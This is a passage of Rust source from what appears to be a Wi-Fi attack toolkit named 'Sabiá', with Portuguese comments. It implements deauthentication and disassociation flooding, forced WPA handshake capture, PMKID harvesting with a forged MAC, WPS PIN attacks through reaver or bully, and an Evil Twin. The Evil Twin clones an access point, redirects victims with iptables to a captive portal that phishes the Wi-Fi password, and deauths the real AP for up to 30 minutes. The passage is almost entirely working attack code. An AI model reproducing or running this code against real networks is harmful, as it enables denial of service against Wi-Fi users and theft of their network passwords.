ou both".into(), )); } if !matches!(frame_kind, "deauth" | "disassoc") { return Err(SabiaError::InvalidInput( "quadro inválido: use deauth ou disassoc".into(), )); } if direction != "ap" && station.is_none() { return Err(SabiaError::InvalidInput( "direção sta/both exige a estação alvo".into(), )); } let info = iface::get(name)?; if info.mode == Mode::Managed { return Err(SabiaError::InvalidInput(format!( "{name} está em modo managed; ative o modo monitor antes de injetar" ))); } let ap = parse_mac(bssid)?; let sta = station.map(parse_mac).transpose()?; let dest = sta.unwrap_or(inject::BROADCAST); let reason_enum = inject::Reason::from_u16(reason); let interval = Duration::from_millis(interval_ms.clamp(50, 5_000)); let max_secs = max_secs.map(|s| s.clamp(1, 3_600)); let already_running = self.deauth_jobs.lock().unwrap().values().any(|j| { let info = j.info.lock().unwrap(); info.iface == name && info.status == "running" }); if already_running { return Err(SabiaError::InvalidInput(format!( "já existe um job de desautenticação em execução em {name}" ))); } let (table, channel, lock_slot) = { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!( "inicie a captura em {name} antes de iniciar o job" )) })?; if !session.running.load(Ordering::SeqCst) { return Err(SabiaError::InvalidInput(format!( "a captura em {name} não está ativa" ))); } let channel = session .table .lock() .unwrap() .access_points() .into_iter() .find(|a| a.bssid.eq_ignore_ascii_case(bssid)) .and_then(|a| a.channel) .or(*session.channel.lock().unwrap()); ( session.table.clone(), channel, session.locked_channel.clone(), ) }; if let Some(channel) = channel { netlink::set_channel(name, channel)?; *lock_slot.lock().unwrap() = Some(channel); } let build = |transmitter: [u8; 6], destination: [u8; 6]| { if frame_kind == "disassoc" { inject::disassoc_frame_from(transmitter, ap, destination, reason_enum) } else { inject::deauth_frame_from(transmitter, ap, destination, reason_enum) } }; let frames: Vec> = match direction { "ap" => vec![build(ap, dest)], "sta" => vec![build(dest, ap)], _ => vec![build(ap, dest), build(dest, ap)], }; let injector = RawInjector::open(name)?; let id = format!( "deauth-{}", self.deauth_seq.fetch_add(1, Ordering::SeqCst) + 1 ); let info = Arc::new(Mutex::new(DeauthJobInfo { id: id.clone(), iface: name.to_string(), bssid: bssid.to_string(), station: station.map(str::to_string), reason, direction: direction.to_string(), frame_kind: frame_kind.to_string(), interval_ms: interval.as_millis() as u64, max_secs, frames_sent: 0, channel, stop_on_handshake, handshake: false, status: "running".into(), error: None, started_unix: unix_now(), finished_unix: None, })); let stop = Arc::new(AtomicBool::new(false)); let thread_info = info.clone(); let thread_stop = stop.clone(); let thread_table = table; let thread_lock = lock_slot.clone(); let iface_name = name.to_string(); let bssid_owned = bssid.to_string(); let station_owned = station.map(str::to_string); let audit_path = self.audit_path.clone(); let audit_lock = self.audit_lock.clone(); let burst = burst.max(1); let handle = std::thread::spawn(move || { let started = Instant::now(); let mut frames_sent = 0usize; let mut seq: u16 = 0; let mut error = None; let mut handshake = false; let handshake_ready = || { let table = thread_table.lock().unwrap(); table.handshakes().iter().any(|h| { h.bssid.eq_ignore_ascii_case(&bssid_owned) && h.crackable && match station_owned.as_deref() { Some(station) => station.eq_ignore_ascii_case(&h.station), None => true, } }) }; while !thread_stop.load(Ordering::SeqCst) { if max_secs.is_some_and(|s| started.elapsed() >= Duration::from_secs(s)) { break; } // Confere antes de uma nova rajada para não interromper um // handshake que chegou enquanto o job esperava a reassociação. if stop_on_handshake && handshake_ready() { handshake = true; break; } for round in 0..burst { for frame in &frames { let mut frame = frame.clone(); seq = seq.wrapping_add(1); inject::set_seq(&mut frame, seq); if let Err(e) = injector.send(&frame) { error = Some(e.to_string()); break; } frames_sent += 1; } if error.is_some() { break; } if burst > 1 && round + 1 < burst { std::thread::sleep(Duration::from_millis(20)); } } if let Ok(mut j) = thread_info.lock() { j.frames_sent = frames_sent; } if error.is_some() { break; } if stop_on_handshake && handshake_ready() { handshake = true; break; } std::thread::sleep(interval); } *thread_lock.lock().unwrap() = None; let stopped = thread_stop.load(Ordering::SeqCst); let mut guard = thread_info.lock().unwrap(); guard.frames_sent = frames_sent; guard.handshake = handshake; guard.finished_unix = Some(unix_now()); guard.status = if error.is_some() { "error".into() } else if stopped { "stopped".into() } else { "done".into() }; guard.error = error; let status = guard.status.clone(); drop(guard); append_audit( &audit_path, &audit_lock, "deauth_job", &iface_name, &serde_json::json!({ "bssid": bssid_owned, "station": station_owned, "frames": frames_sent, "status": status, "handshake": handshake, }), ); }); self.deauth_jobs.lock().unwrap().insert( id.clone(), DeauthJob { info: info.clone(), stop, handle: Some(handle), locked_channel: channel, }, ); self.log( "deauth_start", name, serde_json::json!({ "job": id, "bssid": bssid, "station": station, "direction": direction, "frame_kind": frame_kind, "channel": channel, }), ); Ok(id) } #[cfg(not(target_os = "linux"))] #[allow(clippy::too_many_arguments)] pub fn start_deauth_job( &self, _name: &str, _bssid: &str, _station: Option<&str>, _reason: u16, _direction: &str, _frame_kind: &str, _interval_ms: u64, _max_secs: Option, _stop_on_handshake: bool, ) -> Result { Err(SabiaError::UnsupportedPlatform) } #[cfg(target_os = "linux")] pub fn stop_deauth_job(&self, id: &str) -> Result<()> { let (stop, handle, info, channel) = { let mut jobs = self.deauth_jobs.lock().unwrap(); let job = jobs .get_mut(id) .ok_or_else(|| SabiaError::InvalidInput("job de deauth não encontrado".into()))?; job.stop.store(true, Ordering::SeqCst); ( job.stop.clone(), job.handle.take(), job.info.clone(), job.locked_channel, ) }; if let Some(handle) = handle { let _ = handle.join(); } let _ = stop; let mut guard = info.lock().unwrap(); if guard.status == "running" { guard.status = "stopped".into(); guard.finished_unix = Some(unix_now()); } let iface = guard.iface.clone(); drop(guard); if channel.is_some() { if let Some(session) = self.sessions.lock().unwrap().get(&iface) { *session.locked_channel.lock().unwrap() = None; } } Ok(()) } #[cfg(not(target_os = "linux"))] pub fn stop_deauth_job(&self, _id: &str) -> Result<()> { Err(SabiaError::UnsupportedPlatform) } pub fn deauth_job(&self, id: &str) -> Option { self.deauth_jobs .lock() .unwrap() .get(id) .map(|j| j.info.lock().unwrap().clone()) } pub fn deauth_jobs(&self) -> Vec { let jobs = self.deauth_jobs.lock().unwrap(); let mut out: Vec<_> = jobs .values() .map(|j| j.info.lock().unwrap().clone()) .collect(); out.sort_by(|a, b| { b.started_unix .cmp(&a.started_unix) .then_with(|| a.id.cmp(&b.id)) }); out } fn stop_deauth_for_iface(&self, name: &str) -> Vec { let ids: Vec = self .deauth_jobs .lock() .unwrap() .iter() .filter(|(_, j)| { let info = j.info.lock().unwrap(); info.iface == name && info.status == "running" }) .map(|(id, _)| id.clone()) .collect(); for id in &ids { let _ = self.stop_deauth_job(id); } ids } /// Atalho para “forçar handshake”: escolhe um cliente associado (quando /// nenhum foi indicado), trava o canal do AP e envia rajadas espaçadas. /// O espaço entre as rajadas é essencial: deauth a cada 120 ms mantém o /// cliente fora do ar e pode impedir a reassociação que produz o EAPOL. #[cfg(target_os = "linux")] pub fn capture_handshake( &self, name: &str, bssid: &str, station: Option<&str>, seconds: Option, ) -> Result { let station = station .map(str::to_string) .or_else(|| self.first_associated_station(name, bssid)); let direction = if station.is_some() { "both" } else { "ap" }; self.start_deauth_job_burst( name, bssid, station.as_deref(), 7, direction, "deauth", 1_500, Some(seconds.unwrap_or(30).clamp(5, 300)), true, 5, ) } #[cfg(target_os = "linux")] fn first_associated_station(&self, name: &str, bssid: &str) -> Option { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name)?; let table = session.table.lock().unwrap(); table .clients() .into_iter() .find(|c| { c.associated && c.mac != bssid && c.bssid .as_deref() .is_some_and(|b| b.eq_ignore_ascii_case(bssid)) }) .map(|c| c.mac) } #[cfg(not(target_os = "linux"))] pub fn capture_handshake( &self, _name: &str, _bssid: &str, _station: Option<&str>, _seconds: Option, ) -> Result { Err(SabiaError::UnsupportedPlatform) } #[cfg(not(target_os = "linux"))] pub fn deauth( &self, _name: &str, _bssid: &str, _station: Option<&str>, _count: u32, _reason: u16, ) -> Result { Err(SabiaError::UnsupportedPlatform) } #[cfg(not(target_os = "linux"))] #[allow(clippy::too_many_arguments)] pub fn deauth_directional( &self, _name: &str, _bssid: &str, _station: Option<&str>, _count: u32, _reason: u16, _direction: &str, _frame_kind: &str, ) -> Result { Err(SabiaError::UnsupportedPlatform) } /// Tenta provocar a mensagem 1 com PMKID: autentica e envia um /// association request com RSN/PMKID usando um MAC local forjado. É o /// mesmo gatilho do ataque clientless, mas depende do AP — muitos só /// incluem PMKID em roaming real. #[cfg(target_os = "linux")] pub fn pmkid_hunt(&self, name: &str, bssid: &str, attempts: u32) -> Result { use crate::inject::{self, RawInjector}; let attempts = attempts.clamp(1, 50); let info = iface::get(name)?; if info.mode == Mode::Managed { return Err(SabiaError::InvalidInput(format!( "{name} está em modo managed; ative o modo monitor antes do teste PMKID" ))); } let running = self .sessions .lock() .unwrap() .get(name) .is_some_and(|s| s.running.load(Ordering::SeqCst)); if !running { return Err(SabiaError::InvalidInput( "inicie a captura nesta interface antes do teste PMKID".into(), )); } let ap = self.session_ap(name, bssid)?.ok_or_else(|| { SabiaError::InvalidInput("BSSID ainda não visto nesta captura".into()) })?; let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| { SabiaError::InvalidInput("SSID oculto: impossível montar o association request".into()) })?; if let Some(channel) = ap.channel { self.lock_channel(name, Some(channel))?; } let ap_mac = parse_mac(bssid)?; let station = probe_station_mac(); let akms = akms_for(&ap); let injector = RawInjector::open(name)?; let mut frames_sent = 0usize; for i in 0..attempts { let auth = inject::auth_frame(ap_mac, station); injector.send(&auth)?; frames_sent += 1; std::thread::sleep(Duration::from_millis(30)); let mut pmkid = [0u8; 16]; pmkid[0] = i as u8 + 1; pmkid[15] = 0xa5; let assoc = inject::assoc_request_frame( ap_mac, station, &ssid, &akms, ap.pmf, ap.pmf_required, pmkid, ); injector.send(&assoc)?; frames_sent += 1; std::thread::sleep(Duration::from_millis(150)); } std::thread::sleep(Duration::from_millis(800)); let station_text = crate::dot11::mac_to_string(&station); let handshakes = self.handshakes(Some(name)); let found = handshakes .iter() .find(|h| h.bssid.eq_ignore_ascii_case(bssid) && h.pmkid.is_some()) .cloned(); let report = PmkidReport { iface: name.to_string(), bssid: bssid.to_string(), ssid: Some(ssid), station: station_text, frames_sent, pmkid: found.as_ref().and_then(|h| h.pmkid.clone()), handshakes: handshakes .iter() .filter(|h| h.bssid.eq_ignore_ascii_case(bssid)) .count(), detail: if found.is_some() { "PMKID observado; exporte em .hc22000 e quebre com hashcat ou pelo Sabiá.".into() } else { "Nenhum PMKID apareceu. O AP pode não usar cache de PMKID ou só responder a roaming real; tente também desautenticar um cliente associado.".into() }, }; self.log( "pmkid_hunt", name, serde_json::json!({ "bssid": bssid, "station": report.station, "frames": frames_sent, "pmkid": report.pmkid, }), ); if ap.channel.is_some() { let _ = self.lock_channel(name, None); } Ok(report) } fn session_ap(&self, name: &str, bssid: &str) -> Result> { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let table = session.table.lock().unwrap(); Ok(table .access_points() .into_iter() .find(|a| a.bssid.eq_ignore_ascii_case(bssid))) } /// Teste prático de PMF: desautentica nas duas direções e observa se a /// estação volta a associar. Não é uma prova criptográfica — é o mesmo /// sinal que um ataque real usaria. #[cfg(target_os = "linux")] pub fn pmf_test( &self, name: &str, bssid: &str, station: &str, reason: u16, ) -> Result { let before = self.client_snapshot(name, station)?; let channel = self.session_ap(name, bssid)?.and_then(|a| a.channel); if let Some(channel) = channel { self.lock_channel(name, Some(channel))?; } let started = unix_now(); let sent = self.deauth_directional(name, bssid, Some(station), 5, reason, "both", "deauth")?; std::thread::sleep(Duration::from_secs(4)); if channel.is_some() { let _ = self.lock_channel(name, None); } let after = self.client_snapshot(name, station); let (packets_after, reconnected) = match after { Ok(Some(c)) => ( c.packets, c.events .iter() .any(|e| e.t >= started && e.kind == "associate"), ), _ => (0, false), }; let packets_before = before.map(|c| c.packets).unwrap_or(0); let (verdict, detail) = if reconnected { ( "pmf_off", "A estação voltou a se associar após a desautenticação: PMF não está obrigatório (ou o cliente não o usa).", ) } else if packets_after > packets_before + 3 { ( "pmf_off", "A estação continuou trocando quadros depois da desautenticação; o quadro de gerenciamento provavelmente foi aceito.", ) } else { ( "inconclusive", "A estação não voltou a associar na janela observada. PMF pode estar ativo, ou o cliente simplesmente ficou inativo.", ) }; let report = PmfReport { iface: name.to_string(), bssid: bssid.to_string(), station: station.to_string(), frames_sent: sent.frames_sent, reconnected, packets_before, packets_after, verdict: verdict.to_string(), detail: detail.to_string(), }; self.log( "pmf_test", name, serde_json::json!({ "bssid": bssid, "station": station, "verdict": verdict, "reconnected": reconnected, }), ); Ok(report) } fn client_snapshot(&self, name: &str, station: &str) -> Result> { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let table = session.table.lock().unwrap(); Ok(table.clients().into_iter().find(|c| c.mac == station)) } pub fn wps_tools(&self) -> Vec { crate::wps::tools() } /// Inicia reaver/bully como processo filho. Sem PIN, o reaver usa Pixie /// Dust. A saída é lida ao vivo e o PIN/PSK é extraído quando aparece. #[cfg(target_os = "linux")] pub fn start_wps( &self, name: &str, bssid: &str, channel: u32, tool: &str, pin: Option<&str>, ) -> Result { use std::io::{BufRead, BufReader}; use std::process::{Command, Stdio}; let path = crate::wps::tool_path(tool).ok_or_else(|| { SabiaError::InvalidInput(format!( "{tool} não está disponível; o reaver integrado não pôde ser extraído" )) })?; if let Some(pin) = pin { if pin.len() != 8 || !pin.chars().all(|c| c.is_ascii_digit()) { return Err(SabiaError::InvalidInput( "PIN WPS deve ter 8 dígitos".into(), )); } } parse_mac(bssid)?; let info = iface::get(name)?; if info.mode == Mode::Managed { return Err(SabiaError::InvalidInput(format!( "{name} está em modo managed; ative o modo monitor antes do ataque WPS" ))); } let lock_slot = if channel > 0 { self.lock_channel(name, Some(channel))?; self.sessions .lock() .unwrap() .get(name) .map(|s| s.locked_channel.clone()) } else { None }; let id = format!("wps-{}", self.wps_seq.fetch_add(1, Ordering::SeqCst) + 1); let job = Arc::new(Mutex::new(WpsJobInfo { id: id.clone(), iface: name.to_string(), bssid: bssid.to_string(), tool: tool.to_string(), status: "running".into(), pin: pin.map(str::to_string), password: None, output: Vec::new(), error: None, started_unix: unix_now(), finished_unix: None, pid: None, })); self.wps_jobs .lock() .unwrap() .insert(id.clone(), job.clone()); let args = crate::wps::args(tool, name, bssid, channel, pin); let audit_path = self.audit_path.clone(); let audit_lock = self.audit_lock.clone(); let iface_name = name.to_string(); let bssid_owned = bssid.to_string(); let tool_owned = tool.to_string(); let pin_owned = pin.map(str::to_string); let thread_job = job.clone(); let thread_lock = lock_slot; let wps_dir = std::env::temp_dir().join(format!("sabia-wps-{}", unsafe { libc::geteuid() })); let _ = std::fs::create_dir_all(&wps_dir); std::thread::spawn(move || { let mut command = Command::new(&path); command .args(&args) .current_dir(&wps_dir) .stdout(Stdio::piped()) .stderr(Stdio::piped()); let mut child = match command.spawn() { Ok(child) => child, Err(e) => { if let Ok(mut j) = thread_job.lock() { j.status = "error".into(); j.error = Some(format!("não foi possível executar {}: {e}", path.display())); j.finished_unix = Some(unix_now()); } if let Some(lock) = &thread_lock { *lock.lock().unwrap() = None; } return; } }; if let Ok(mut j) = thread_job.lock() { j.pid = Some(child.id()); } let mut readers = Vec::new(); if let Some(stdout) = child.stdout.take() { let job = thread_job.clone(); readers.push(std::thread::spawn(move || { for line in BufReader::new(stdout) .lines() .map_while(std::result::Result::ok) { record_wps_line(&job, &line); } })); } if let Some(stderr) = child.stderr.take() { let job = thread_job.clone(); readers.push(std::thread::spawn(move || { for line in BufReader::new(stderr) .lines() .map_while(std::result::Result::ok) { record_wps_line(&job, &line); } })); } let status = child.wait(); for reader in readers { let _ = reader.join(); } if let Some(lock) = &thread_lock { *lock.lock().unwrap() = None; } let mut guard = thread_job.lock().unwrap(); guard.finished_unix = Some(unix_now()); if guard.status == "stopped" { return; } let found = guard.password.is_some(); match status { Ok(s) if s.success() || found => { guard.status = "done".into(); if !found { guard.error = Some("a ferramenta terminou sem informar PSK".into()); } } Ok(s) => { guard.status = "error".into(); guard.error = Some(format!( "{} terminou com código {}", path.display(), s.code().unwrap_or(-1) )); } Err(e) => { guard.status = "error".into(); guard.error = Some(e.to_string()); } } let password = guard.password.clone(); drop(guard); append_audit( &audit_path, &audit_lock, "wps_attack", &iface_name, &serde_json::json!({ "bssid": bssid_owned, "tool": tool_owned, "pin": pin_owned, "success": password.is_some(), }), ); }); self.log( "wps_start", name, serde_json::json!({ "job": id, "bssid": bssid, "tool": tool }), ); Ok(id) } #[cfg(not(target_os = "linux"))] #[allow(clippy::too_many_arguments)] pub fn start_wps( &self, _name: &str, _bssid: &str, _channel: u32, _tool: &str, _pin: Option<&str>, ) -> Result { Err(SabiaError::UnsupportedPlatform) } pub fn wps_job(&self, id: &str) -> Option { self.wps_jobs .lock() .unwrap() .get(id) .map(|j| j.lock().unwrap().clone()) } pub fn wps_jobs(&self) -> Vec { let jobs = self.wps_jobs.lock().unwrap(); let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect(); out.sort_by_key(|a| std::cmp::Reverse(a.started_unix)); out } #[cfg(target_os = "linux")] pub fn stop_wps(&self, id: &str) -> Result<()> { let job = self .wps_jobs .lock() .unwrap() .get(id) .cloned() .ok_or_else(|| SabiaError::InvalidInput("job WPS não encontrado".into()))?; let pid = job.lock().unwrap().pid; if let Some(pid) = pid { // SAFETY: sinal para o processo filho que este próprio Sabiá criou. unsafe { libc::kill(pid as i32, libc::SIGTERM); } } let mut guard = job.lock().unwrap(); guard.status = "stopped".into(); guard.finished_unix = Some(unix_now()); let iface = guard.iface.clone(); drop(guard); if let Some(session) = self.sessions.lock().unwrap().get(&iface) { *session.locked_channel.lock().unwrap() = None; } Ok(()) } #[cfg(not(target_os = "linux"))] pub fn stop_wps(&self, _id: &str) -> Result<()> { Err(SabiaError::UnsupportedPlatform) } /// Evil Twin + portal cativo: clona um AP já visto nesta sessão (SSID /// aberto, numa segunda interface em modo AP) e sobe um portal que pede /// a senha — conferida na hora contra um handshake real já capturado /// desse BSSID, não aceita qualquer coisa digitada. Por isso exige um /// handshake quebrável já presente na tabela: é o mesmo requisito do /// botão "Quebrar senha", só que a verificação acontece ao vivo, uma /// tentativa por vez, em vez de testar um dicionário inteiro. /// /// Precisa de `hostapd` instalado e de uma segunda interface Wi-Fi /// capaz de modo AP, diferente da que está capturando/desautenticando. #[cfg(target_os = "linux")] #[allow(clippy::too_many_arguments)] pub fn start_evil_twin( &self, name: &str, ap_iface: &str, bssid: &str, portal_port: u16, deauth_real_ap: bool, ) -> Result { use std::fs; use std::process::{Command, Stdio}; parse_mac(bssid)?; if ap_iface == name { return Err(SabiaError::InvalidInput( "a interface do clone precisa ser diferente da que está capturando".into(), )); } let (table, ssid, channel) = { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let table = session.table.clone(); let t = table.lock().unwrap(); let ap = t .access_points() .into_iter() .find(|a| a.bssid.eq_ignore_ascii_case(bssid)) .ok_or_else(|| { SabiaError::InvalidInput( "esse BSSID ainda não apareceu nesta sessão de captura".into(), ) })?; let ssid = ap.ssid.clone().filter(|s| !s.is_empty()).ok_or_else(|| { SabiaError::InvalidInput("rede oculta: sem SSID não dá pra clonar".into()) })?; let channel = ap.channel.ok_or_else(|| { SabiaError::InvalidInput("canal do AP ainda não identificado".into()) })?; drop(t); (table, ssid, channel) }; let hs = { let t = table.lock().unwrap(); t.first_crackable(Some(bssid), None).cloned() } .ok_or_else(|| { SabiaError::InvalidInput( "capture um handshake quebrável desse AP antes (aba Handshake → Forçar handshake)" .into(), ) })?; let target = crack::CrackTarget::from_handshake(&hs).ok_or_else(|| { SabiaError::InvalidInput("handshake sem dados suficientes pra conferir senha".into()) })?; crate::wps::find_in_path("hostapd").ok_or_else(|| { SabiaError::InvalidInput( "hostapd não está instalado (sudo apt install hostapd) — necessário pro Evil Twin" .into(), ) })?; let info = iface::get(ap_iface)?; if info.mode != Mode::Managed && info.mode != Mode::Monitor { return Err(SabiaError::InvalidInput(format!( "{ap_iface} está num modo que o hostapd não consegue usar" ))); } const GATEWAY_IP: &str = "10.90.90.1"; const DHCP_RANGE: (&str, &str) = ("10.90.90.10", "10.90.90.200"); let dir = std::env::temp_dir().join(format!("sabia-eviltwin-{}", unsafe { libc::geteuid() })); fs::create_dir_all(&dir).map_err(SabiaError::Io)?; let hostapd_conf_path = dir.join(format!("hostapd-{ap_iface}.conf")); let dnsmasq_conf_path = dir.join(format!("dnsmasq-{ap_iface}.conf")); fs::write( &hostapd_conf_path, crate::eviltwin::hostapd_conf(ap_iface, &ssid, channel, None), ) .map_err(SabiaError::Io)?; fs::write( &dnsmasq_conf_path, crate::eviltwin::dnsmasq_conf(ap_iface, GATEWAY_IP, DHCP_RANGE), ) .map_err(SabiaError::Io)?; // Estado em disco pra recuperação: se este processo morrer (Ctrl+C // sem handler, kill -9, queda de energia) antes da thread de // limpeza rodar, as duas interfaces ficam presas em `managed no` // pro NetworkManager pra sempre e o hostapd/dnsmasq ficam órfãos — // na prática o Wi-Fi inteiro desaparece da configuração do sistema // (nenhum dispositivo gerenciado pro painel mostrar). `self_heal_eviltwin_leftovers` // lê este arquivo no próximo início do engine e desfaz tudo. let state_path = dir.join(format!("state-{ap_iface}.json")); let _ = fs::write( &state_path, serde_json::json!({ "ap_iface": ap_iface, "capture_iface": name, "portal_port": portal_port, "hostapd_conf": hostapd_conf_path.to_string_lossy(), "dnsmasq_conf": dnsmasq_conf_path.to_string_lossy(), }) .to_string(), ); // Se o NetworkManager (ou outro gerenciador) estiver cuidando dessa // interface, ele reafirma a própria conexão por cima e o hostapd // nunca consegue de fato assumir o rádio — fica "rodando" sem subir // o AP. Solta a interface antes (best-effort: segue em frente mesmo // sem nmcli, só não vai funcionar contra uma interface gerenciada). // // A interface de CAPTURA também precisa ficar fora do NetworkManager // nesse momento: visto ao vivo — ao soltar só a `ap_iface`, o NM // "resgatou" uma conexão salva daquele SSID pra outra placa Wi-Fi // gerenciável disponível (a própria interface de captura!), tirando // ela do modo monitor no meio da sessão. Solta as duas. let _ = Command::new("nmcli") .args(["device", "set", ap_iface, "managed", "no"]) .status(); let _ = Command::new("nmcli") .args(["device", "set", name, "managed", "no"]) .status(); // Endereço do gateway na interface do clone, antes de subir o // hostapd/dnsmasq — sem isso o DHCP não tem o que anunciar. let _ = Command::new("ip") .args(["addr", "flush", "dev", ap_iface]) .status(); let _ = Command::new("ip") .args(["addr", "add", &format!("{GATEWAY_IP}/24"), "dev", ap_iface]) .status(); let _ = Command::new("ip") .args(["link", "set", ap_iface, "up"]) .status(); // A saída do hostapd ia pro vácuo (Stdio::null()); quando ele morre // na hora (config que o driver recusa, canal/banda que a placa não // suporta de verdade, etc.) a única pista era um processo // "" sem explicação nenhuma. Grava num arquivo pra poder // diagnosticar, e confere logo depois do spawn se ele já morreu — // nesse caso devolve o erro de cara em vez de deixar o job "rodando" // só na aparência enquanto o AP nunca sobe de verdade. let hostapd_log_path = dir.join(format!("hostapd-{ap_iface}.log")); let hostapd_log_out = fs::File::create(&hostapd_log_path).map_err(SabiaError::Io)?; let hostapd_log_err = hostapd_log_out.try_clone().map_err(SabiaError::Io)?; let mut hostapd_cmd = Command::new("hostapd"); hostapd_cmd .arg(&hostapd_conf_path) .stdout(hostapd_log_out) .stderr(hostapd_log_err); let mut hostapd_child = hostapd_cmd.spawn().map_err(|e| { SabiaError::InvalidInput(format!("não foi possível executar hostapd: {e}")) })?; std::thread::sleep(std::time::Duration::from_millis(500)); if let Ok(Some(status)) = hostapd_child.try_wait() { let _ = Command::new("nmcli") .args(["device", "set", ap_iface, "managed", "yes"]) .status(); let _ = Command::new("nmcli") .args(["device", "set", name, "managed", "yes"]) .status(); let _ = fs::remove_file(&state_path); let log = fs::read_to_string(&hostapd_log_path).unwrap_or_default(); return Err(SabiaError::InvalidInput(format!( "hostapd saiu sozinho ({status}) logo ao subir em {ap_iface} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {}", log.trim() ))); } let hostapd_pid = hostapd_child.id(); let dnsmasq_child = if crate::wps::find_in_path("dnsmasq").is_some() { Command::new("dnsmasq") .arg("--no-daemon") .arg(format!("--conf-file={}", dnsmasq_conf_path.display())) .stdout(Stdio::null()) .stderr(Stdio::null()) .spawn() .ok() } else { None }; let dnsmasq_pid = dnsmasq_child.as_ref().map(|c| c.id()); for rule in crate::eviltwin::iptables_rules(ap_iface, portal_port) { let _ = Command::new("iptables").args(&rule).status(); } // Sem parada automática daqui de dentro: a thread que termina o // Evil Twin roda solta (não tem `&Engine` pra chamar stop_deauth_job // de volta). Por segurança o job de deauth tem um teto de 30min — // pra encerrar antes, é o endpoint de deauth normal (POST // /api/deauth/stop) ou a aba Ataques → Desautenticação → Parar. let deauth_job = if deauth_real_ap { self.start_deauth_job_burst( name, bssid, None, 7, "ap", "deauth", 1_500, Some(1_800), false, 3, ) .ok() } else { None }; let id = format!( "eviltwin-{}", self.eviltwin_seq.fetch_add(1, Ordering::SeqCst) + 1 ); let stop = Arc::new(AtomicBool::new(false)); let job = Arc::new(Mutex::new(EvilTwinJobInfo { id: id.clone(), iface: name.to_string(), ap_iface: ap_iface.to_string(), ssid: ssid.clone(), bssid: bssid.to_string(), portal_port, status: "running".into(), attempts: 0, last_attempt: None, password: None, deauth_job: deauth_job.clone(), error: None, started_unix: unix_now(), finished_unix: None, hostapd_pid: Some(hostapd_pid), dnsmasq_pid, stop: Some(stop.clone()), })); self.eviltwin_jobs .lock() .unwrap() .insert(id.clone(), job.clone()); let listener = match std::net::TcpListener::bind(("0.0.0.0", portal_port)) { Ok(l) => l, Err(e) => { let mut guard = job.lock().unwrap(); guard.status = "error".into(); guard.error = Some(format!("porta {portal_port} do portal: {e}")); guard.finished_unix = Some(unix_now()); return Ok(id); } }; let audit_path = self.audit_path.clone(); let audit_lock = self.audit_lock.clone(); let iface_name = name.to_string(); let bssid_owned = bssid.to_string(); let ssid_owned = ssid; let ap_iface_owned = ap_iface.to_string(); let thread_job = job.clone(); let thread_table = table; let thread_stop = stop; let state_path_for_thread = state_path.clone(); std::thread::spawn(move || { let job_for_attempts = thread_job.clone(); let password = crate::eviltwin::run_portal( listener, &ssid_owned, &target, &thread_stop, move |attempt| { if let Ok(mut j) = job_for_attempts.lock() { j.attempts += 1; j.last_attempt = Some( match attempt { crate::eviltwin::PortalAttempt::Correct => "correct", crate::eviltwin::PortalAttempt::WrongPassword => "wrong", crate::eviltwin::PortalAttempt::InvalidLength => "invalid", } .into(), ); } }, ); // Limpeza: derruba hostapd/dnsmasq, desfaz o iptables, para o // job de deauth do AP real — sempre, sucesso ou não. unsafe { libc::kill(hostapd_pid as i32, libc::SIGTERM); } if let Some(pid) = dnsmasq_pid { unsafe { libc::kill(pid as i32, libc::SIGTERM); } } for rule in crate::eviltwin::iptables_cleanup_rules(&ap_iface_owned, portal_port) { let _ = Command::new("iptables").args(&rule).status(); } // Devolve as duas interfaces pro NetworkManager, senão ficam // soltas (sem reconectar sozinhas a nada) depois que o hostapd // sai. A de captura também foi solta lá no início — ver o // comentário em start_evil_twin sobre o NM "resgatando" conexão // salva pra ela quando só a `ap_iface` era liberada. let _ = Command::new("nmcli") .args(["device", "set", &ap_iface_owned, "managed", "yes"]) .status(); let _ = Command::new("nmcli") .args(["device", "set", &iface_name, "managed", "yes"]) .status(); // Limpeza terminou direitinho: o arquivo de recuperação não é // mais necessário (senão o próximo start do engine ia tentar // "curar" um estado que já está limpo). let _ = std::fs::remove_file(&state_path_for_thread); let mut guard = thread_job.lock().unwrap(); guard.finished_unix = Some(unix_now()); if guard.status != "stopped" { guard.status = if password.is_some() { "done" } else { "stopped" } .into(); } if let Some(password) = &password { thread_table .lock() .unwrap() .set_password(&bssid_owned, &hs.station, password); guard.password = Some(password.clone()); } let attempts = guard.attempts; drop(guard); append_audit( &audit_path, &audit_lock, "eviltwin_stop", &iface_name, &serde_json::json!({ "bssid": bssid_owned, "ap_iface": ap_iface_owned, "attempts": attempts, "success": password.is_some(), }), ); }); self.log( "eviltwin_start", name, serde_json::json!({ "job": id, "bssid": bssid, "ap_iface": ap_iface, "ssid_len": 0 }), ); Ok(id) } #[cfg(not(target_os = "linux"))] pub fn start_evil_twin( &self, _name: &str, _ap_iface: &str, _bssid: &str, _portal_port: u16, _deauth_real_ap: bool, ) -> Result { Err(SabiaError::UnsupportedPlatform) } pub fn eviltwin_job(&self, id: &str) -> Option { self.eviltwin_jobs .lock() .unwrap() .get(id) .map(|j| j.lock().unwrap().clone()) } pub fn eviltwin_jobs(&self) -> Vec { let jobs = self.eviltwin_jobs.lock().unwrap(); let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect(); out.sort_by_key(|a| std::cmp::Reverse(a.started_unix)); out } pub fn stop_evil_twin(&self, id: &str) -> Result<()> { let job = self .eviltwin_jobs .lock() .unwrap() .get(id) .cloned() .ok_or_else(|| SabiaError::InvalidInput("job de Evil Twin não encontrado".into()))?; let mut guard = job.lock().unwrap(); guard.status = "stopped".into(); if let Some(stop) = &guard.stop { stop.store(true, Ordering::SeqCst); } // O accept() não-bloqueante só confere o `stop` a cada ~80ms — o // listener às vezes só é liberado numa conexão local de "empurrão". let port = guard.portal_port; let capture_iface = guard.iface.clone(); drop(guard); let _ = std::net::TcpStream::connect(("127.0.0.1", port)); // A thread que fecha o Evil Twin roda solta e não tem como parar o // 